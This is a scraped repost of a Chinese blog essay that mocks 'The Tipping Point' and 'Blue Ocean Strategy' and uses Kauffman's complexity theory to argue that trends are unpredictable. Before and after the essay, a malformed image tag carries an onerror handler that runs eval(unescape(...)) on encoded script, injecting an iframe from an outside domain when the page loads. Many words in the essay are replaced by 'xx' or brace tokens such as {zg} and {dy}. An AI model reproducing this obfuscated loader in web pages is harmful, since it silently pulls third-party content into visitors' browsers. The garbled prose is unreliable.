流行,存在引爆点吗? - 网上银行- reversion - 和讯博客
流行,存在引爆点吗? [转贴 2010-02-11 23:01:48]   
流行,存在引爆点吗?

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_336_280.html%20width%3D336%20height%3D280%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

在任何一个没有客观标准的领域里,都会挤满各色各样的xxx。谁不想扬名立万?既然怎么才叫武功{zg}谁也弄不清楚,那承让了,咱也先占个山头,当个掌门再说了。所以不难理解的是:被美国心理学会承认的一本正经的心理学流派,就有五十八个之多。

      而最热闹,肯定不是心理学,而是升官发财的江湖。你有包赚不赔的炒股十八诀窍,我就有当五百强公司CEO的xx——虽说是xx,可也到处打折兜售,书里夹一套风骚女秘书型的美女书签,以帮助读者展望美好未来。前些日子有两个美国人写了本<蓝海战略>。作者说,以前企业家们的日子太苦了,到处都是竞争。要么做同样的东西但比对手便宜,要么走差异化的道路——做和对手不一样的东西。然而,差异化就意味着成本的增加。所以,成本策略也好,差异化策略也好,就是赢了对手,也是惨胜,利润像纸一样薄。他们大声宣布:现在好了,企业家们再也不用在红海里和竞争对手死拼了!你们,可以去没人和你竞争的蓝海里去发大财。

      {wy}的小问题是:怎么找到蓝海呢?他们的答案是:找个没人的悬崖,闭上眼睛往下一跳!如果你嘭的一声摔死了,那你就是撞在岩石上;如果你唰的一声跳进水里,那就找到蓝海了——无论如何,你都不会在红海里。总之,发了大财的,就是找到了蓝海;连小财都没发上的,就是没找着蓝海。这种先打枪后画靶子的程序,保证了枪枪十环的成绩。这样的理论居然也能风行一时,洛阳纸贵。其原因只有一个:愚蠢透顶却一心想发财的人,实在是太多了。早几年,这些人认真钻研了十几本卡耐基的成功学小册子、并背诵了一百多条人生格言名人警句箴言笏语之后,却并没有如被允诺的那样,成为成功人士并过上幸福生活。今天,这些人百折不挠,背上行囊找蓝海去了。

      <蓝海战略>之后,又有一个在<纽约客>杂志写专栏的马尔科姆·格拉德威尔写了本<引爆点>,声称找到了引发流行的规则,居然也是全球大卖特卖。这年头好人真多啊!子路的心愿不过是"车马衣轻裘,与朋友共,敝之而无憾",现在居然有数不清的人,其心愿是"发财的点子,与所有人共,你们发财,你们发财,我自己爬爬格子甘守清贫就好了,无憾!"实在是令人感动!

      在<引爆点>一书中,格拉德威尔宣布,有三个原则"能引导我们找到引爆点",那么,什么是引爆点?作者的定义是:"引爆点就是质变来临前的关键一点,像沸点和临界点"。

      这个定义再加上书名"tipping point",无法不让人联想起考夫曼的混沌理论和相变。按照混沌理论的描述:一个系统只要是开放的、足够复杂的、并被不断输入能量和信息,它就会自发产生秩序。我们可以用混沌理论来审视一下,格拉德威尔关于引爆点的这三个法则,是不是靠得住:

      格拉德威尔认为,引爆流行的{dy}个条件,就是"个别人物法则"。即:流行是由少数有影响力的人引发的。他举的例子,包括曼哈顿东村几个身份不明的年轻人穿了暇步士鞋,让这种30美元一双的老款鞋咸鱼翻生、大卖特卖;少数xx的人引发了巴尔的摩的梅毒爆发,等等。

      近两年,国内很多网站做好之后却没有人来,大家都愁得不行。这本书一出,中关村的人们就忙着 "影响有影响力的人" 去了。然而,有哪个网站成功了吗?没有!

      这里借用考夫曼一个比喻:把整个社会看作是一个堆得足够高的沙堆——再往上放任何一粒沙子,都会引发崩塌。沙子虽然都相同,但引发的崩塌却有大有小。可以想见的是,小的崩塌比较多,而大的崩塌则比较少。

      我们xx可以把"崩塌"一词置换为"流行",并得出以下两个结论:

      一、所有的沙子都是一样的;

      二、投下一粒沙子之前,{jd1}无法预测崩塌的规模。

      由此可见,所谓的"个别人物法则",xx是无稽之谈。事实上,格拉德威尔在书中举的佐证也xx无法支撑自己的观点。比如,纽约最早穿上暇步士鞋的那几个年轻人,连身份都搞不清楚,又怎么能确定他们就是有影响力的"大个儿沙子"呢?我们得到的答案依然是先打枪后画靶子式的:因为他们引发了流行,所以他们就是"大个儿沙子"。这类蠢话我们听到的实在是太多了。试问,在所有的即时聊天工具中,为什么偏偏是QQ这么流行?在刚开始时,有什么特殊人物用了QQ呢?

      格拉德威尔声称的能够引爆流行的另两个法则:"附着力因素"和"环境威力法则"更是不值一驳。事实上,全书中引用了很多心理学测试和社会学理论,破窗啊150原则啊弱连接啊,这些被引用的理论都没有问题。问题仅在于:这些被引用的理论与他的结论之间xx没有对应关系。

      关于流行,考夫曼也有一个很好的实验:把十万只灯泡连接在一起,每只灯泡都至少与另外两只灯泡连接在一起。因为每只灯泡都有"开"和"关"两种状态。所以,整个系统就有2的100000次方,约等于10的30000次方那么多种状态。当你随机更改每一只灯泡开或关的状态时,系统却总是只在317种状态中来回变换。为什么是317?因为它正好是100000的平方根!想想看,一个有10的30000次方种可能性的系统,最终却只是展现出317种形态。

      人类社会当然远多于一万人,每个人能接触到的其他人当然也远多于两个。这就是我们这个社会为什么会产生流行的根本原因。在人类社会这个巨大xx的耗散系统中,一次流行就是一次大小不等的相变,就是一次自发生成的秩序。这个秩序是免费的、必然会生成的。更重要的是:它是无法事先加以预测的。

      比如,为了迎合1960年代女权主义高涨的形势,美国时装界推出了过膝盖的半长裙,以与前一阵子女人们焚烧胸罩的行动相呼应。时装界和评论界颇具影响力的大腕们也纷纷郑重表态:"加长是方向。"没料想,女人们却为了这款设计上街游行去了,标语上的口号是:"大腿,大腿,大腿"。然而,最终的结果却并不是超短裙,而是以前男人才穿的裤子----大腿长满赘肉的中年妇女穿长裤;年轻的姑娘们穿只包住半只屁股的"热裤"。我们的社会正是得益于此,才充满了半只屁股的趣味。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_200_200.html%20width%3D200%20height%3D200%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

郑重声明:资讯 【流行,存在引爆点吗? - 网上银行- reversion - 和讯博客】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
—— 相关资讯 ——